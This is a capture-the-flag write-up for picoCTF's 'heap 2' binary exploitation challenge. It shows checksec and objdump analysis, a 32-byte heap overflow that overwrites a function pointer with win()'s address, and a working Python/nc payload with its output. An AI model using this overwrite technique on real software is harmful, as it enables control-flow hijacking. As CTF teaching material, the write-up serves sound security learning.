Skip to content

Latest commit

 

History

History
104 lines (68 loc) · 4.18 KB

File metadata and controls

104 lines (68 loc) · 4.18 KB

heap 2

Overview

200 points

Category: Binary Exploitation

Tags: #binaryexploitation #heap #bufferoverflow

Description

Can you handle function pointers?

Approach

Binary and source are provided for this challenge.

Further modifications to the heap 0 and heap 1 challenge, this time replacing the safe_var global variable and associated buffer with a global variable named x, but still initialised with the string "bico" wihin init().

check_win() that is invoked by menu item 4 when executing the program to print the flag now uses the value in x as a function pointer with signature void x(void).

Given x is initialised with a value of "bico" attempting to execute the flag prior to any overflow attack results in a segmentation fault as the function pointer is obviously not valid.

Inspecting the provided source further we see a new win() function that reads and displays the contents of the flag.txt flag file. This function is not called from anywhere in the source.

So our aim is to make x = &win(), then use the print flag menu item.

Inspecting the provided binary architecture and security features enabled:

$ checksec chall
[*] 'picoCTF/heap-2/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Disassemble the biniary to obtain function addresses:

$ objdump -M intel -d chall > chall.objdump.txt

Find the address of win() function :

$ grep win chall.objdump.txt 
00000000004011a0 <win>:
00000000004011f0 <check_win>:

So we need to set the contents of x to 0x4011a0 to call our target win() functon.

Checking the offset of x from input_data using the provided Print Heap menu item to ensure our overflow attack payload hasn't changed from the previous challenges in the series.

$ ./chall 

I have a function, I sometimes like to call it, maybe you should change it

1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit

Enter your choice: 1
[*]   Address   ->   Value   
+-------------+-----------+
[*]   0xd606b0  ->   pico
+-------------+-----------+
[*]   0xd606d0  ->   bico

The offset remains 32 bytes, so no change to attack payload and we can just replace the "pico" of heap 1 with our target address.

Solution

The final solution is to construct a payload that;

  • Select menu item 2 "Write to Buffer" = b'2\n'
  • Overflows the input_data buffer to reach the start of the x buffer by outputting 32 A characters = b'A'*32
  • Continue the overflow to write the address of win() into x buffer, completing the input string to be written = b'\xa0\x11\x40\x00\x00\x00\x00\x00\n
  • Select menu item 4 "Print Flag" to invoke *x() which equals win() = b'4\n'

When constructing the overflow attack payload I ran into issues with python3 unicode strings when constructing the address, as the conversion to UTF-8 encoding was addition addition bytes in the output. So the command was modified to use the more direct sys.stdout.buffer.write() function.

I included the full little-endian address of win() however this command will not output the null bytes as indicatd by the warning, but given the added null termination of the scanf() to our input we have successfully overwritten the contents of x with the valid address (lowest three bytes being non-zero).

$ echo -e $(python3 -c "import sys; sys.stdout.buffer.write(b'2\n' + b'A'*32 + b'\xa0\x11\x40\x00\x00\x00\x00\x00\n4\n')") | nc mimas.picoctf.net 55335
bash: warning: command substitution: ignored null byte in input

I have a function, I sometimes like to call it, maybe you should change it

1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit

Enter your choice: Data for buffer: 
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit

Enter your choice: picoCTF{...........redacted.............}

Where the actual flag value has been redacted for the purposes of this write up.